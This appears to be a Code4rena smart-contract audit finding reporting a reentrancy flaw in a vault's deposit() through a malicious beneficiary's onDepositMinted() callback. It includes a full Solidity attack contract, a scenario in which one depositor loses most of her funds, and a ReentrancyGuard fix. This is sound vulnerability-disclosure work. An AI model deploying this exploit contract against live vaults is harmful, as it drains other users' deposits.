Vault: onDepositMinted() reentrancy causes users’ deposits to be erroneously accounted as yield

[code423n4]

Handle

hickuphh3

Vulnerability details

Impact

The deposit() function does not have reentrancy protection. This allows reentrancy to occur through the implementation of a malicious claim’s beneficiary onDepositMinted() function that will cause all users’ deposits to be erroneously interpreted as yield instead.

Specifically, while shares for the first deposit have been minted, funds have not been transferred when reentrancy occurs. Hence, the shares calculated for the reentrant deposit use a lower totalUnderlyingMinusSponsored() than expected, resulting in more claim shares minted.

Proof of Concept

A gist of the attack script and contract is attached here.

Bob writes (rather, I wrote =p) the following malicious beneficiary contract.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import '../integrations/IIntegration.sol';
import '../vault/IVault.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import '@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol';

contract MintAttack is IIntegration, ERC165, ERC721Holder {
    address public admin;
    uint256 public amount;

    constructor(address _admin) {
        admin = _admin;
    }

    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IIntegration).interfaceId || super.supportsInterface(interfaceId);
    }

    function setAmount(uint256 _amount) external {
        amount = _amount;
    }

    function giveAllowance(IERC20 token, address to) external {
        token.approve(to, type(uint256).max);
    }

    function setApprovalToAdmin(IERC721 depositor) external {
        depositor.setApprovalForAll(admin, true);
    }

    function onDepositMinted(
        uint256 _depositID,
        uint256 _shares,
        bytes memory _data
    ) external returns (bytes4) {
        // do deposit
        IVault.ClaimParams memory claimParam = IVault.ClaimParams({
            pct: 10_000,
            beneficiary: admin,
            data: '0x'
        });
        IVault.ClaimParams[] memory claimParams = new IVault.ClaimParams[](1);
        claimParams[0] = claimParam;
        IVault(msg.sender).deposit(
            IVault.DepositParams({
                amount: amount,
                claims: claimParams,
                lockedUntil: 0
            })
        );
        return bytes4(keccak256("onDepositMinted(uint256,uint256,bytes)"));
    }

    function onDepositBurned(
        uint256 _depositID
    ) external returns (bytes4) {
        return bytes4(keccak256("onDepositBurned(uint256)"));
    }
}

1. Assume Alice calls deposit() with 1000 DAI (underlying token).
2. Bob transfers 10_000 DAI into the malicious contract, then calls deposit() with 10_000 DAI with the malicious contract as the beneficiary (depositing a total of 20_000 DAI).

We see disastrous results:

1. If Alice attempts to withdraw, the transaction will revert with Vault: cannot withdraw more than the available amount. Executing a forced withdrawal results in her only receiving ~173 DAI in return (about 82.7% loss).
2. Bob is allocated about 9090 DAI in yield (loss in deposits, but made up with claims).

We therefore see that a portion of both users’ deposits are considered as yield as a result of this attack.

Recommended Mitigation Steps

Import and use OpenZeppelin’s reentrancy guard for crucial user actions (deposits, claiming yields and withdrawals).

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

[naps62]

duplicate of #3